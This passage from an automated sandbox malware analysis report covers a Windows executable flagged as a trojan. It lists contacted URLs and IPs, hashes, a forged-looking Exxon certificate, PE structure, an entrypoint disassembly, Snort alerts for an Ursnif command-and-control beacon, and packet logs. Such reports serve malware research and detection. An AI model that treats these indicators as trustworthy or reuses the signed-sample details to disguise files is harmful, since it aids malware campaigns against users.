https://browser.events.data.msn.com/OneCollector/1.0/t.js?qsp=true&anoncknm=%22%22&name=%22M	InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.hoergeraete.hoeren-heute.ch/horizon_reveal/?act=ACT0000040013ACT&utm_source=mcrs&amp	InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/sport/other/der-fcz-verabschiedet-sich-von-doumbia-und-ceesay/ar-AAXsezM?o	InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/news/other/stadtrat-handelt-in-z%c3%bcrich-west-mehr-preisg%c3%bcnstige-wo	InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	InstallUtil.exe, 0000000A.00000003.504942023.00000000020C8000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535140555.00000000020C8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.msn.com/de-ch/news/other/autofahrer-38-rast-mit-94-km-h-durch-30er-zone/ar-AAXsnwd?ocid=	InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ogp.me/ns/fb#	InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/news/other/olivia-und-noah-sind-die-beliebtesten-baby-vornamen-in-z%c3%bcr	InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/news/other/z%c3%bcrcher-kantonsrat-pr%c3%bcft-nach-igelkot-vorfall-sicherh	InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.msn.com/de-ch	InstallUtil.exe, 0000000A.00000002.535230526.0000000004300000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535290243.0000000004396000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504725612.0000000004301000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000002.535347560.0000000004400000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false		high
https://i.geistm.com/l/HFCH_DTS_LP?bcid=61c4707a19d27603f32a58b8&bhid=62470ee6adad76040858398f&a	InstallUtil.exe, 0000000A.00000003.504892855.0000000002049000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
13.107.40.203	a-0003.fbs2-a-msedge.net	United States		8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	630152
Start date and time: 19/05/202214:38:37	2022-05-19 14:38:37 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	OojqjHGE0W.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@3/0@2/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 96.7% (good quality ratio 96.7%) Quality average: 91.3% Quality standard deviation: 14%
HCA Information:	Successful, ratio: 69% Number of executed functions: 20 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.169.118.173
Excluded domains from analysis (whitelisted): fs.microsoft.com, redirection.prod.cms.msn.com.akadns.net, ctldl.windowsupdate.com, legacy-redirection-neurope-prod-hp.cloudapp.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: OojqjHGE0W.exe

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
13.107.40.203	609E5ECDDA8C08C02C123B8376566361568646EEA8B50.exe	Get hash	malicious	Browse
13.107.40.203	v9ZD101UF6.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
a-0003.fbs2-a-msedge.net	609E5ECDDA8C08C02C123B8376566361568646EEA8B50.exe	Get hash	malicious	Browse	13.107.40.203

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	eE6cagogwq	Get hash	malicious	Browse	104.215.126.128
	Olf76DB7wp	Get hash	malicious	Browse	20.31.98.77
	EY_Document_Order4590.exe	Get hash	malicious	Browse	51.142.243.136
	Remittance Advice.xlsm	Get hash	malicious	Browse	52.109.28.107
	pandora.arm	Get hash	malicious	Browse	65.55.103.18
	https://giz-paraguay.wixsite.com/owa-domain-update	Get hash	malicious	Browse	13.107.43.14
	doc_1093983787847_484778333.pdf.vbs	Get hash	malicious	Browse	13.107.43.12
	INV-PL-CMR.vbs	Get hash	malicious	Browse	13.107.43.13
	SecuriteInfo.com.W32.AIDetect.malware2.18832.exe	Get hash	malicious	Browse	20.106.79.78
	bank_payment-doc.exe	Get hash	malicious	Browse	51.141.106.0
	IMG_1900037679995756674.exe	Get hash	malicious	Browse	13.107.43.12
	https://1drv.ms/b/s!Ahxi4mLGHMVYgQGHnHcUVMM4VPCL	Get hash	malicious	Browse	13.107.43.12
	HLNGQDZK.EXE	Get hash	malicious	Browse	20.106.79.78
	rubix.arm7	Get hash	malicious	Browse	52.113.110.229
	9jquF7No4Y	Get hash	malicious	Browse	20.115.194.36
	kPWxmSPU8b	Get hash	malicious	Browse	163.228.110.173
	ZJ1s1xZgpL	Get hash	malicious	Browse	138.239.244.156
	https://t-b3g.club/?e=emmari@datacom.co.nz	Get hash	malicious	Browse	20.26.217.32
	phantom.arm7	Get hash	malicious	Browse	13.65.160.252
	phantom.arm	Get hash	malicious	Browse	20.11.48.38

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.52461417001665
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	OojqjHGE0W.exe
File size:	1241656
MD5:	4ed3fa33609a51baf209a5954bef6633
SHA1:	aff82f0554f18c780561d6b8b1ca5a1001e42512
SHA256:	988177454fe3a5ba8fcdf7f3124e2c56f312b776542d3763540c254df6fe6f76
SHA512:	3beaba94d2a6df632b029d0c48521cea8adb98a1b7eeee9d547544415b36a251c41fabce2bcbbdaf53f4e090783f49d7c10e5d952d9313aa182aa1c2971201f4
SSDEEP:	24576:21uu0F2xRqVHdQ9PerE5gOGFGtCZXUzvjJMFHk1Udgd:A02WdQ9GCOFb6eXO
TLSH:	AC4501017D8CC031ECA226B43836E295A13B7D81672664CB65F9B3AF95B1BC0DD79363
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......0...t...t...t.....U.].....`.d.....T.....}.m.s...t...,.....Q.v.....d.u...t.i.r.....c.u...Richt...................PE..L......b...

File Icon


Icon Hash:	54f9e0c4dcf8705d

Static PE Info

General

Entrypoint:	0x411fc0
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x6283FED8 [Tue May 17 20:00:24 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	06a834e3824803366fcfecb5c9777295

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=GeoTrust RSA CA 2018, OU=www.digicert.com, O=DigiCert Inc, C=US
Signature Validation Error:	A certificate chain could not be built to a trusted root authority
Error Number:	-2146762486
Not Before, Not After	12/29/2021 4:00:00 PM 9/2/2022 4:59:59 PM
Subject Chain	CN=exxon.com, O=Exxon Mobil Corporation, L=Irving, S=Texas, C=US
Version:	3
Thumbprint MD5:	B7C2B39C14AF65D1434078B10A8064DE
Thumbprint SHA-1:	9B93192A2BF5E6EC0A32E4966431D1E2FD1FA4AF
Thumbprint SHA-256:	97135CBA56D0300287DF31C8B39546AD4605FB9C88311AEB0B12B76AC15C46BF
Serial:	0A2787FBB4627C91611573E323584113

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007FEAECD8B32Bh
call 00007FEAECD8B036h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 00511B30h
push 00416210h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [00513064h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401044h]
cmp dword ptr [00515DDCh], 00000000h
jne 00007FEAECD8B010h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [00401040h]
call 00007FEAECD8B193h
mov dword ptr [ebp-6Ch], eax
call 00007FEAECD8F16Bh
test eax, eax
jne 00007FEAECD8B00Ch
push 0000001Ch
call 00007FEAECD8B150h
add esp, 04h
call 00007FEAECD8EAC8h
test eax, eax
jne 00007FEAECD8B00Ch
push 00000010h
call 00007FEAECD8B13Dh

Rich Headers

Programming Language:

[LNK] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x112114	0x50	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x116000	0x17630	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x12de00	0x1438
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x12e000	0x1638	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1180	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x8118	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x140	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11184a	0x111a00	False	0.832347104842	data	7.57139474025	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x113000	0x2de0	0x1000	False	0.190673828125	data	2.23907016207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x116000	0x17630	0x17800	False	0.692538646941	data	6.63567575561	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x12e000	0x36a4	0x3800	False	0.331473214286	data	3.51322756003	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x1163d0	0xd633	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_ICON	0x123a08	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16384, next free block index 40, next free block 0, next used block 0
RT_ICON	0x127c30	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0
RT_ICON	0x12a1d8	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 0, next used block 41910143
RT_ICON	0x12b280	0x988	data
RT_ICON	0x12bc08	0x468	GLS_BINARY_LSB_FIRST
RT_MENU	0x12d380	0x4	data
RT_DIALOG	0x12d388	0xf0	data
RT_DIALOG	0x12d478	0x88	data
RT_DIALOG	0x12d500	0x12c	data
RT_STRING	0x12c2b8	0x1e8	data
RT_STRING	0x12c4a0	0x424	data
RT_STRING	0x12c8c8	0x43c	data
RT_STRING	0x12cd08	0x4fc	data
RT_STRING	0x12d208	0x174	data
RT_GROUP_ICON	0x12c070	0x5a	data
RT_VERSION	0x12c0d0	0x1e4	data

Imports

DLL	Import
KERNEL32.dll	GetProcAddress, GetTapeStatus, Sleep, LocalAlloc, CloseHandle, CreateActCtxW, SetCurrentDirectoryA, LoadLibraryW, GetModuleHandleW, ResetEvent, GetCommandLineW, HeapSetInformation, GetStartupInfoW, SetUnhandledExceptionFilter, QueryPerformanceCounter, GetTickCount, GetCurrentThreadId, GetCurrentProcessId, GetSystemTimeAsFileTime, InterlockedIncrement, InterlockedDecrement, DecodePointer, ExitProcess, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, HeapValidate, IsBadReadPtr, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, GetLastError, HeapCreate, WriteFile, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, EnterCriticalSection, LeaveCriticalSection, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, IsDebuggerPresent, HeapAlloc, GetModuleFileNameA, HeapReAlloc, HeapSize, HeapQueryInformation, HeapFree, RtlUnwind, WideCharToMultiByte, LCMapStringW, MultiByteToWideChar, GetStringTypeW, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, IsProcessorFeaturePresent, SetFilePointer, GetConsoleCP, GetConsoleMode, RaiseException, SetStdHandle, CreateFileW, FlushFileBuffers
GDI32.dll	StrokePath
ADVAPI32.dll	StartServiceA, CloseEventLog

Version Infos

Description	Data
LegalCopyright	Copyright 2012-2022 by Kone LLC All Rights Reserved.
FileVersion	87.90.67.49
ProductVersion	70.56.51.66
Translation	0x0838 0x03a4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.352.169.118.17349702802033203 05/19/22-14:41:40.292996	TCP	2033203	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B)	49702	80	192.168.2.3	52.169.118.173
192.168.2.352.169.118.17349702802033204 05/19/22-14:41:40.292996	TCP	2033204	ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F)	49702	80	192.168.2.3	52.169.118.173

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 19, 2022 14:41:40.411487103 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.451590061 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.454516888 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.455178022 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.497522116 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.559830904 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.559859991 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.559952974 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.597235918 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.672713995 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.899105072 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.899158001 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.899280071 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.899312973 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.899624109 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.899714947 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.899843931 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.899908066 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.899981022 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.900038958 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.900139093 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.900206089 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.900228977 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.900290966 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.900367022 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.900387049 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.900490999 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.901165009 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.901251078 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.901267052 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.901326895 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.901454926 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.901515961 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.901649952 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.901673079 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.901721001 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.901721954 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.901740074 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.901740074 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.901761055 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.901782990 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.901804924 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.901818991 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.901851892 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.901859999 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.939166069 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.939214945 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.939244032 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.939275980 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.939341068 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.939419985 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.939547062 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.939582109 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.939611912 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.939615011 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.939640045 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.939672947 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.939692020 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.939724922 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.939743042 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.939773083 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.939801931 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.939929962 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.939976931 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.939985037 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.940009117 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.940037966 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.940047026 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.940068960 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.940104961 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.940218925 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.940260887 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.940289974 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.940351009 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.941071033 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941108942 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941138029 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941155910 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.941165924 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941198111 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941199064 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.941226006 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941261053 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.941303968 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.941472054 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941521883 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941545010 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.941579103 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941605091 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.941606998 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941634893 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941634893 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.941664934 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941670895 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.941694975 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941704035 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.941725016 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941730976 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.941754103 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941760063 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.941782951 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941792011 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.941812038 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941821098 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.941839933 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.941859007 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.941919088 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.979212046 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979264021 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979295969 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979322910 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979346037 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.979348898 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979372025 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979388952 CEST	49703	80	192.168.2.3	13.107.40.203
May 19, 2022 14:41:40.979398966 CEST	80	49703	13.107.40.203	192.168.2.3
May 19, 2022 14:41:40.979423046 CEST	80	49703	13.107.40.203	192.168.2.3
